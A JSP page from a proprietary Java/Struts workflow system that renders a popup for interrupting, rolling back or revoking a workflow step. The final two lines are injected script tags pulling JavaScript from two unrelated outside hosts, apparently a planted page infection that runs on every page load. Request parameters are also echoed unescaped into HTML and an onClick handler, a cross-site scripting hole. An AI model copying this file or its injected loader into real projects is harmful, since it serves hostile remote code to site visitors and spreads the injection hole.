<%
/*
 * @(#)EditWorkflowStepMove.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditWorkflowStepMove.jsp

  This class is reflecting business logic uses.

    @author             dick xie
    @company            DCIVision Ltd
    @creation date     21/11/2004
    @version            $Revision: 1.14.2.9 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.workflow.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.workflow.core.*"%>
<%@ page import="com.dcivision.workflow.web.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintWorkflowInterruptStepForm" scope="request" class="com.dcivision.workflow.web.MaintWorkflowInterruptStepForm"/>
<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/interface/WorkflowAjaxProcessor.js'> </script>
<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/engine.js'></script>
<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/util.js'></script>

<%String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);%>
<%if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE) ) {%>
<script language="javascript">
<!--
  //window.opener.parent.document.location = "MaintWorkflowTask.do?navMode=V&trackID=<%=maintWorkflowInterruptStepForm.getWorkflowTrackID()%>&ID=<%=maintWorkflowInterruptStepForm.getWorkflowProgressID()%>&workflowRecordID=<%=maintWorkflowInterruptStepForm.getWorkflowRecordID()%>";
  if ( window.opener ) {
    //parentURL = window.opener.parent.document.location.href;
    //window.opener.parent.document.location = parentURL.replace ( /navMode=E/, 'navMode=V' ) ;
    window.opener.OpRefresh();
    window.close();
  }
-->
</script>
<%}else{try{%>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/
  String trackID = request.getParameter("trackID");
  String workflowRecordID = request.getParameter("workflowRecordID");
  String workflowStepID = request.getParameter("workflowStepID");
  String workflowGroupID = request.getParameter("workflowGroupID");
  String workflowCategoryID = request.getParameter("categoryID");

  //request.setAttribute(GlobalConstant.FUNCTION_CODE_KEY,SystemFunctionConstant.WORKFLOW_MONITOR);

  String LIST_NAME = "listWorkflowStepList";
  String[][] INTERRUPTION_TYPE = {
                            {"workflow.label.type_rollback", "-1"},
                            {"workflow.label.type_stop", "0"},
                            {"workflow.label.type_revoke", "2"}
                          };

  String[][] WORKFLOW_STEP_MAP;
  List workflowStepList = (List) request.getAttribute(LIST_NAME);
  if ( !Utility.isEmpty(maintWorkflowInterruptStepForm.getInterruptType()) && !Utility.isEmpty(workflowStepList) ) {
    WORKFLOW_STEP_MAP = new String[workflowStepList.size()][2];
    for (int i=0; i<workflowStepList.size(); i++) {
      WorkflowStep stepRecord = (WorkflowStep)workflowStepList.get(i);
      WORKFLOW_STEP_MAP[i][0] = stepRecord.getStepSeq()+"."+stepRecord.getStepName();
      WORKFLOW_STEP_MAP[i][1] = stepRecord.getID().toString();
    }
  } else {
    WORKFLOW_STEP_MAP = new String[1][2];
    WORKFLOW_STEP_MAP[0][0] = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.workflow_interrupt_target_na");
    WORKFLOW_STEP_MAP[0][1] = "";
  }
%>

<script language="Javascript">
<!--
function OptFileSelection(){
  var frm;
 for (var i = 0; i < document.forms.length; i++) {
   if (document.forms[i].name != "") {
     frm = document.forms[i];
        break;
    }
  }
  if (frm.interruptType.options[frm.interruptType.selectedIndex].value==''){
    alert("<bean:message key='workflow.label.select_interrupt_type_is_required'/>");
    return true;
  }
  if (frm.targetStepID.options[frm.targetStepID.selectedIndex].value=='' && frm.interruptType.options[frm.interruptType.selectedIndex].value!='0'){
    alert("<bean:message key='workflow.label.select_step_is_required'/>");
    return true;
  }
  frm.opMode.value="<%=GlobalConstant.OP_MODE_INSERT%>";
  frm.submit();
  return  false;
}

function checkIfCanSubmitThisWorkflowRecord(workflowRecordID){
   WorkflowAjaxProcessor.checkIfCanSubmitTheWorkflowRecord(workflowRecordID,
     function(data){
          if(data=="Y"){
        OptFileSelection();
      }else{
        alert(data);
      }

       })
}
-->
</script>

<html:form  action="workflow/ListWorkflowStep" method="GET"  styleClass="form-style-2">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="workflowRecordID"/>
<html:hidden property="workflowTrackID"/>
<html:hidden property='workflowStepID'/>
<html:hidden property="workflowProgressID"/>
<html:hidden property="reason"/>
<html:hidden property="fileNames"/>
<html:hidden property="dmsFileNames"/>
<input type='hidden' name='trackID' value='<%=trackID%>'/>

<layout:popupTitle titleKey ="workflow.label.workflow_interrupt"/>
<div class="tabContainer">
<div class="tabContent" style="display:block;">
<table width="100%">
<!-- Section Header -->
<%if(!Utility.isEmpty(maintWorkflowInterruptStepForm.getStepName())){%>
    <tr>
    <td>
    <table width="100%">
    <layout:sectionHeader name="workflow.label.workflow_interrupt_request"/>
    <tr>
      <td class="formLabelSmallMan"><bean:message key='workflow.label.current_step_name'/>&nbsp;</td>
      <td class="formFieldSmall"><%=maintWorkflowInterruptStepForm.getStepSeq()%>. <%=maintWorkflowInterruptStepForm.getStepName()%></td>
    </tr>
    <%if(maintWorkflowInterruptStepForm.isInterruptAble()) {%>
    <tr>
      <td class="formLabelSmallMan"><bean:message key='workflow.label.workflow_interrupt_type'/>&nbsp;</td>
      <td class="formFieldSmall">
        <html:select property='interruptType' onchange="return(OpList(maintWorkflowInterruptStepForm))" styleClass="form-style-2-auto-pulldown">
           <html:options stringArray='<%=INTERRUPTION_TYPE%>'/>
        </html:select>
      </td>
    </tr>
    <tr>
      <td class="formLabelSmallMan"><bean:message key='workflow.label.selected_workflow_step'/>&nbsp;</td>
      <td class="formFieldSmall">
      <%if("-1".equals(maintWorkflowInterruptStepForm.getInterruptType())){%>
          <html:select property='targetStepID' onchange="return(OpList(maintWorkflowInterruptStepForm))" styleClass="form-style-2-auto-pulldown">
            <html:options stringArray='<%=WORKFLOW_STEP_MAP%>' hasSelect='false' convertLabel='false'/>
          </html:select>
      <%} else {%>
           <html:select property='targetStepID' styleClass="form-style-2-auto-pulldown">
            <html:options stringArray='<%=WORKFLOW_STEP_MAP%>' hasSelect='false' convertLabel='false'/>
          </html:select>
          <%}%>
      </td>
    </tr>
    <%if(!Utility.isEmpty(maintWorkflowInterruptStepForm.getPenddingBranches())) {
    %>
    <tr>
      <td class="formLabelSmallMan"><bean:message key='workflow.label.rollback_all_branches'/>:<br><%=maintWorkflowInterruptStepForm.getPenddingBranches()%></td>
      <td class="formFieldSmall">
        <html:radio property='isRollbackAllBranches' value='<%=GlobalConstant.TRUE%>'><bean:message key='common.label.yes'/></html:radio>&nbsp;
        <html:radio property='isRollbackAllBranches' value='<%=GlobalConstant.FALSE%>'><bean:message key='common.label.no'/></html:radio>&nbsp;
      </td>
    </tr>
    <%}}%>
    </table>
    </td></tr>
  <tr>
    <td colspan="2" align="center"><html:img src='LayoutSpacer.gif' height='12' /></td>
  </tr>
<%}%>

  <layout:sectionHeader name='workflow.label.workflow_routine' mandatory="false"/>
 
  <tr>
    <td colspan="2" align="center">
    <!-- Workflow Tree Begin -->
    <jsp:include page="ShowWorkflowTree.jsp">
      <jsp:param name="workflowRecordID" value="<%=workflowRecordID%>"/>
    </jsp:include>
    <!-- Workflow Tree End   -->
    </td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src='LayoutSpacer.gif' height='8' /></td>
  </tr>
  <tr>
    <td class="blackLine" colspan="2"><html:img src='LayoutSpacer.gif'  width='1' height='1'/></td>
  </tr>
</table>
</div>
</div>

  <div id="bottomButtonArea">
    <div id="buttonSection">
    <!-- The Buttons for Actions Handling -->
    <logic:notEmpty name='maintWorkflowInterruptStepForm' property='stepName'>
    <%if(maintWorkflowInterruptStepForm.isInterruptAble()) {%>
    <html:standardButton label="common.label.confirm" onClick='<%="return(checkIfCanSubmitThisWorkflowRecord("+workflowRecordID+"))"%>'/>
    <%}%>
    </logic:notEmpty>
    <html:standardButton label="common.label.close" onClick="return window.close();"/>
</div>
</div>
</html:form>
<%}catch(Exception ex){LogFactory.getLog(this.getClass()).error(ex, ex);}%>
<%}%>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>